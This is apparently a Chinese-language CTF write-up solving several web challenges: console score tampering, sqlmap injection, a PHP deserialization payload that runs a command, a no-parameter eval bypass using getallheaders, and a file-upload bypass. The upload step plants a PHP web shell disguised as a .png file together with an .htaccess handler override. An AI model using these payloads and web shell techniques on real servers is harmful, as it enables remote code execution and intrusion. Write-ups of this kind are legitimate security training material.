游戏高手

控制台修改gameScore参数值,然后挂掉就行。

image-20231008212646040

ez_sql

SQLmap直接出

image-20231008212757181

Unserialize?

反序列化,只要注意它是私有属性就行

exp:

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil
{
private $cmd="nl /th1s_1s_fffflllll4444aaaggggg";
}
$a = new evil();
echo urlencode(serialize($a));
?>

image-20231008222629661

R!!C!!E!!

题目提示要扫,那就扫!!!

dirsearch启动

image-20231008223854603

扫出来发现.git无法直接访问,但是可以访问它目录下的其他文件,

.git/COMMIT_EDITMSG目录下发现 bo0g1pop.php

源码

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

看到';' === preg_replace('/[^\W]+\((?R)?\)/'这个经典正则,就知道考点是无参数读取文件

ban掉了scandir,考虑getallheaders()

print_r代替var_dump

先查看一下getallheaders()数组下可控的http头。

?star=print_r(getallheaders());

image-20231010220620310

这里current被ban了,用pos替代

image-20231010220725892

虽然host可控,但是修改了就实例报错。。。。

但是ua头可以随便修改,所以用next

image-20231010221240463

Upload again!

经测试发现,上传内容中对<?php标签过滤了,采用长标签解析绕过。

1
<script language='php'>@eval($_GET['a'])</script>

改后缀为png

再上传.htaccess文件,对png文件进行解析。

1
AddType application/x-httpd-php .png

再访问upload/xxx.png,就可以执行php代码了。

image-20231016011954726